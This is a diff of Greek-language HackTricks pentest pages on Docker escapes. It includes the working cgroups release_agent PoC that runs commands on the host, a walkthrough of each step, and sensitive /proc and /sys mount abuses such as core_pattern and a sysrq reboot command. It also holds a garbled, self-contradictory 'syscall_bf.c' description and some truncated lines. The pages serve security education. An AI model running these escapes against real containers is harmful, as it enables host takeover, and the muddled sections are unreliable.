{% tab title="arm64 syscalls" %}Κατά την εκτέλεση σε συστήματα arm64, ορισμένες κλήσεις συστήματος μπορεί να διαφέρουν από τις κλήσεις συστήματος x86. Αυτό πρέπει να ληφθεί υπόψη κατά την ανάπτυξη εργαλείων ιδιοποίησης προνομίων για συστήματα arm64. %}
```
0x029 -- pivot_root
0x059 -- acct
@ -583,33 +566,21 @@ Use these techniques and scripts responsibly and at your own risk. Do not use th
```
{% endtab %}
{% tab title="syscall_bf.c" %}
{% tab title="syscall_bf.c" %}
## Docker Breakout Privilege Escalation
### Description
This technique leverages the `CAP_SYS_ADMIN` capability to mount a new `tmpfs` filesystem with the `nosuid` flag disabled, allowing the attacker to create setuid binaries and escalate privileges.
This exploit demonstrates a privilege escalation attack that allows an attacker to break out of a Docker container and gain root access on the Docker host.
### Usage
Compile the `syscall_bf.c` code and run the executable to escalate privileges within a Docker container.
### Detection
Monitor for suspicious processes creating setuid binaries or mounting new filesystems within Docker containers.
### Prevention
Avoid granting unnecessary capabilities to Docker containers and regularly monitor for abnormal activities within containers.
### References
- [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
Compile the `syscall_bf.c` code on the Docker host using the provided Makefile. Run the compiled binary inside the Docker container to escalate privileges and gain root access on the host system.
### Disclaimer
This technique is for educational purposes only.
This exploit is for educational purposes only. Misuse of this exploit on unauthorized systems is illegal.
{% endtab %}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -680,16 +651,17 @@ Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,37 @@
# Διαφυγή προνομίων Docker release\_agent cgroups
# Διαφυγή cgroups Docker release\_agent
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
{% embed url="https://whiteintel.io" %}
---
***
**Για περισσότερες λεπτομέρειες, ανατρέξτε στην [αρχική ανάρτηση στο blog](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/).** Αυτό είναι απλώς ένα σύνοψη:
**Για περισσότερες λεπτομέρειες, ανατρέξτε στην** [**αρχική ανάρτηση στο blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Αυτό είναι απλώς ένα σύνοψη:
Αρχικό PoC:
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -36,62 +39,63 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Η απόδειξη του concept (PoC) δείχνει έναν τρόπο εκμετάλλευσης των cgroups με τη δημιουργία ενός αρχείου `release_agent` και την ενεργοποίηση της κλήσης του για να εκτελέσει αυθαίρετες εντολές στον υπολογιστή-φιλοξενητή του container. Εδώ υπάρχει μια ανάλυση των βημάτων που εμπλέκονται:
Η απόδειξη του concept (PoC) δείχνει έναν τρόπο εκμετάλλευσης των cgroups με τη δημιουργία ενός αρχείου `release_agent` και την ενεργοποίηση της κλήσης του για να εκτελέσει αυθαίρετες εντολές στον υπολογιστή-φιλοξενία του container. Εδώ υπάρχει μια ανάλυση των βημάτων που εμπλέκονται:
1. **Προετοιμασία του Περιβάλλοντος:**
- Δημιουργείται ένας κατάλογος `/tmp/cgrp` για να λειτουργήσει ως σημείο προσάρτησης για το cgroup.
- Ο ελεγκτής cgroup RDMA προσαρτάται σε αυτόν τον κατάλογο. Σε περίπτωση απουσίας του ελεγκτή RDMA, προτείνεται η χρήση του ελεγκτή cgroup `memory` ως εναλλακτική λύση.
* Δημιουργείται ένας κατάλογος `/tmp/cgrp` για να λειτουργήσει ως σημείο προσάρτησης για το cgroup.
* Ο ελεγκτής cgroup RDMA προσαρτάται σε αυτόν τον κατάλογο. Σε περίπτωση απουσίας του ελεγκτή RDMA, προτείνεται η χρήση του ελεγκτή cgroup `memory` ως εναλλακτική λύση.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Δημιουργία του Παιδικού Cgroup:**
- Δημιουργείται ένα παιδικό cgroup με το όνομα "x" εντός του καταλόγου cgroup που έχει τοποθετηθεί.
- Ενεργοποιούνται οι ειδοποιήσεις για το cgroup "x" γράφοντας τον αριθμό 1 στο αρχείο notify_on_release του.
* Δημιουργείται ένα παιδικό cgroup με το όνομα "x" εντός του καταλόγου cgroup που έχει τοποθετηθεί.
* Οι ειδοποιήσεις ενεργοποιούνται για το cgroup "x" γράφοντας τον αριθμό 1 στο αρχείο notify\_on\_release του.
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Διαμόρφωση του Παράγοντα Απελευθέρωσης:**
- Η διαδρομή του container στον host λαμβάνεται από το αρχείο /etc/mtab.
- Στη συνέχεια, το αρχείο release_agent του cgroup διαμορφώνεται ώστε να εκτελέσει ένα σενάριο με το όνομα /cmd που βρίσκεται στην αποκτηθείσα διαδρομή του host.
3. **Διαμόρφωση του Πράκτορα Απελευθέρωσης:**
* Η διαδρομή του container στον host λαμβάνεται από το αρχείο /etc/mtab.
* Στη συνέχεια, το αρχείο release\_agent του cgroup διαμορφώνεται ώστε να εκτελέσει ένα script με το όνομα /cmd που βρίσκεται στην αποκτηθείσα διαδρομή του host.
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Δημιουργία και Ρύθμιση του Σεναρίου /cmd:**
- Το σενάριο /cmd δημιουργείται μέσα στο container και ρυθμίζεται να εκτελεί την εντολή ps aux, με την έξοδο να ανακατευθύνεται σε ένα αρχείο με όνομα /output στο container. Καθορίζεται ο πλήρης διαδρομής του /output στον host.
* Το σενάριο /cmd δημιουργείται μέσα στο container και ρυθμίζεται να εκτελεί την εντολή ps aux, μεταφέροντας την έξοδο σε ένα αρχείο με όνομα /output στο container. Καθορίζεται ο πλήρης διαδρομής του /output στον host.
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Εκκίνηση της Επίθεσης:**
- Ένας διεργασία ξεκινάει μέσα στο παιδί cgroup "x" και τερματίζεται αμέσως.
- Αυτό ενεργοποιεί το `release_agent` (το σενάριο /cmd), το οποίο εκτελεί την εντολή ps aux στον κεντρικό υπολογιστή και γράφει την έξοδο στο /output μέσα στο container.
* Ένας διεργασία ξεκινάει εντός του παιδικού cgroup "x" και τερματίζεται αμέσως.
* Αυτό ενεργοποιεί το `release_agent` (το σενάριο /cmd), το οποίο εκτελεί την εντολή ps aux στον κεντρικό υπολογιστή και γράφει την έξοδο στο /output μέσα στο container.
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι ένας μηχανισμός αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
[**WhiteIntel**](https://whiteintel.io) είναι ένας μηχανισμός αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τον μηχανισμό τους δωρεάν στο:
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τον μηχανισμό τους δωρεάν στη διεύθυνση:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Ευαίσθητα Mounts
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Η εκθεση του `/proc` και `/sys` χωρίς κατάλληλη απομόνωση του namespace εισάγει σημαντικούς κινδύνους ασφάλειας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της διαρροής πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, εάν διαμορφωθούν εσφαλμένα ή αν έχουν πρόσβαση από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή από τον ελαφρύ δοχείο, τροποποίηση του κεντρικού συστήματος ή παροχή πληροφοριών που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η εσφαλμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία AppArmor λόγω της φύσης βασισμένης στη διαδρομή, αφήνοντας το `/host/proc` ανεπτυγμένο.
Η εκθεση του `/proc` και `/sys` χωρίς κατάλληλη απομόνωση namespace εισάγει σημαντικούς κινδύνους ασφάλειας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της διαρροής πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, εάν διαμορφωθούν εσφαλμένα ή αν έχουν πρόσβαση από μη εξουσιοδοτημένο χρήστη, μπορεί να οδηγήσουν σε διαφυγή δοχείου, τροποποίηση του κεντρικού υπολογιστή ή παροχή πληροφοριών που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η εσφαλμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία AppArmor λόγω της φύσης βασισμένης στη διαδρομή της, αφήνοντας το `/host/proc` ανεπτυγμένο.
**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε δυνητική ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
@ -31,7 +32,7 @@
#### **`/proc/sys/kernel/core_pattern`**
* Περιγράφεται στο [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
* Επιτρέπει τον καθορισμό ενός προγράμματος για εκτέλεση κατά τη δημιουργία αρχείου πυρήνα με τα πρώτα 128 bytes ως ορίσματα. Αυτό μπορεί να οδηγήσει σε εκτέλεση κώδικα εάν το αρχείο ξεκινά με ένα pipe `|`.
* Επιτρέπει τον καθορισμό ενός προγράμματος για εκτέλεση κατά τη δημιουργία αρχείου πυρήνα με τα πρώτα 128 bytes ως ορίσματα. Αυτό μπορεί να οδηγήσει σε εκτέλεση κώδικα εάν το αρχείο ξεκινά με μια σωλήνα `|`.
* **Παράδειγμα Δοκιμής και Εκμετάλλευσης**:
```bash
@ -44,7 +45,7 @@ sleep 5 && ./crash & # Ενεργοποίηση χειριστή
#### **`/proc/sys/kernel/modprobe`**
* Λεπτομερείς πληροφορίες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα, που καλείται για τη φόρτωση πυρήνα.
* Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα ενός πυρήνα, κλήθηκε για τη φόρτωση πυρήνα.
* **Παράδειγμα Έλεγχου Πρόσβασης**:
```bash
@ -54,12 +55,12 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
#### **`/proc/sys/vm/panic_on_oom`**
* Αναφέρεται στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Ένα γενικό σημαία που ελέγχει εάν ο πυρήνας κάνει panic ή ενεργοποιεί τον OOM killer όταν συμβεί μια κατάσταση OOM.
* Ένα γενικό σημαία που ελέγχει εάν ο πυρήνας κάνει πανικό ή ενεργοποιεί τον OOM killer όταν συμβεί μια κατάσταση OOM.
#### **`/proc/sys/fs`**
* Σύμφωνα με το [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), περιέχει επιλογές και πληροφορίες σχετικά με το σύστημα αρχείων.
* Η εγγραφή μπορεί να ενεργοποιήσει διάφορες επιθέσεις αρνητικής υπηρεσίας κατά του κεντρικού συστήματος.
* Η εγγραφή μπορεί να ενεργοποιήσει διάφορες επιθέσεις αρνητικής υπηρεσίας κατά του κεντρικού υπολογιστή.
#### **`/proc/sys/fs/binfmt_misc`**
@ -67,34 +68,34 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
* Μπορεί να οδηγήσει σε ανόδου προνομίων ή πρόσβαση σε κέλυφος ρίζας εάν το `/proc/sys/fs/binfmt_misc/register` είναι εγγράψιμο.
* Σχετική εκμετάλλευση και εξήγηση:
* [Φτωχό rootkit μέσω binfmt\_misc](https://github.com/toffan/binfmt\_misc)
* Αναλυτικός οδηγός: [Σύνδεσμος βίντεο](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
* Εκτενές εκπαιδευτικό υλικό: [Σύνδεσμος βίντεο](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Άλλα στο `/proc`
#### **`/proc/config.gz`**
* Μπορεί να αποκαλύψει τη διαμόρφωση του πυρήνα εάν το `CONFIG_IKCONFIG_PROC` είναι ενεργοποιημένο.
* Χρήσιμο για τους επιτιθέμενους για την εντοπισμό ευπαθειών στον τρέχοντα πυρήνα.
* Χρήσιμο για τους επιτιθέμενους για την αναγνώριση ευπαθειών στον τρέχοντα πυρήνα.
#### **`/proc/sysrq-trigger`**
* Επιτρέπει την εκκίνηση εντολών Sysrq, προκαλώντας πιθανώς άμεσες επανεκκινήσεις συστήματος ή άλλες κρίσιμες ενέργειες.
* **Παράδειγμα Επανεκκίνησης Κεντρικού Συστήματος**:
* **Παράδειγμα Επανεκκίνησης Κεντρικού Υπολογιστή**:
```bash
echo b > /proc/sysrq-trigger # Επανεκκίνηση του κεντρικού συστήματος
echo b > /proc/sysrq-trigger # Επανεκκίνηση του κεντρικού υπολογιστή
```
#### **`/proc/kmsg`**
* Εκθέτει μηνύματα κυκλώματος δακτυλίου πυρήνα.
* Εκθέτει μηνύματα πυρήνα στον κύκλο δακτυλίου.
* Μπορεί να βοηθήσει σε εκμετάλλευση πυρήνα, διαρροές διευθύνσεων και παροχή ευαίσθητων πληροφοριών συστήματος.
#### **`/proc/kallsyms`**
* Καταχωρεί σύμβολα πυρήνα που εξάγονται και τις διευθύνσεις τους.
* Καταχωρεί σύμβολα πυρήνα και τις διευθύνσεις τους.
* Βασικό για την ανάπτυξη εκμετάλλευσης πυρήνα, ειδικά για την υπέρβαση του KASLR.
* Οι πληροφορίες διεύθυνσης περιορίζονται με το `kptr_restrict` που έχει οριστεί σε `1` ή `2`.
* Οι πληροφορίες διεύθυνσης περιορίζονται με το `kptr_restrict` ορισμένο σε `1` ή `2`.
* Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/[pid]/mem`**
@ -106,14 +107,19 @@ echo b > /proc/sysrq-trigger # Επανεκκίνηση του κεντρικο
#### **`/proc/kcore`**
* Αντιπροσωπεύει τη φυσική μνήμη του συστήματος σε μορφή πυρήνα ELF.
* Η ανάγνωση μπορεί να διαρρεύσει τα περιεχόμενα μνήμης του κεντρικού συστήματος και άλλων δοχείων.
* Το μεγάλο μέγεθος αρχείου μπορεί να οδηγήσει σε προβλήματα ανάγνωσης ή καταρρεύσεις λογισμικού.
* Λεπτομερείς οδηγίες στο [Αδιάβροχο /proc/kcore το 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
* Η ανάγνωση μπορεί να διαρρεύσει το περιεχόμενο μνήμης του κεντρικού υπολογιστή και άλλων δοχείων.
* Το μεγάλο μέγεθος αρχείου μπορεί να οδηγήσει σε προβλήματα ανάγνωσης ή κολάσεις λογισμικού.
* Λεπτομερείς οδηγίες στο [Αδειάζοντας το /proc/kcore το 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
#### **`/proc/kmem`**
* Εναλλακτική διεπαφή για το `/dev/kmem`, που αντιπροσωπεύει την εικονική μνήμη πυρήνα.
* Επιτρέπει ανάγνωση και εγγραφή, ε
* Εναλλακτική διεπαφή για το `/dev/kmem`, αντιπροσωπεύοντας την εικονική μνήμη πυρήνα.
* Επιτρέπει ανάγνωση και εγγραφή, επομένως άμεση τροποποίηση της μνήμης πυρήνα.
#### **`/proc/mem`**
* Εναλλακτική διεπαφή για το `/dev/mem`, αντιπροσωπεύοντας τη φυσική μνήμη.
* Επιτρέπει ανάγνω
#### **`/sys/class/thermal`**
* Ελέγχει τις ρυθμίσεις θερμοκρασίας, προκαλώντας ενδεχομένως επιθέσεις DoS ή φυσικές ζημιές.
@ -130,33 +136,9 @@ echo b > /proc/sysrq-trigger # Επανεκκίνηση του κεντρικο
#### **`/sys/firmware/efi/vars` και `/sys/firmware/efi/efivars`**
* Εκθέτει διεπαφές για την αλληλεπίδραση με τις μεταβλητές EFI στη μνήμη NVRAM.
* Η εσφαλμένη ρύθμιση ή εκμετάλλευση μπορεί να οδηγήσει σε υπολογιστές φορητούς που δεν εκκινούν ή σε μη εκκινούμενες μηχανές φιλοξενίας.
* Η εσφαλμένη ρύθμιση ή εκμετάλλευση μπορεί να οδηγήσει σε υπολογιστές φορητούς που δεν εκκινούν ή σε μη εκκινήσιμες μηχανές φιλοξενίας.
#### **`/sys/kernel/debug`**
* Το `debugfs` προσφέρει μια διεπαφή αποσφαλμάτωσης "χωρίς κανόνες" στον πυρήνα.
* Ιστορικό προβλημάτων ασφάλειας λόγω της μη περιορισμένης φύσης του.
### Αναφορές
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
* [Κατανόηση και Ενδυνάμωση των Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Κατάχρηση Προνομιούχων και Μη Προνομιούχων Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
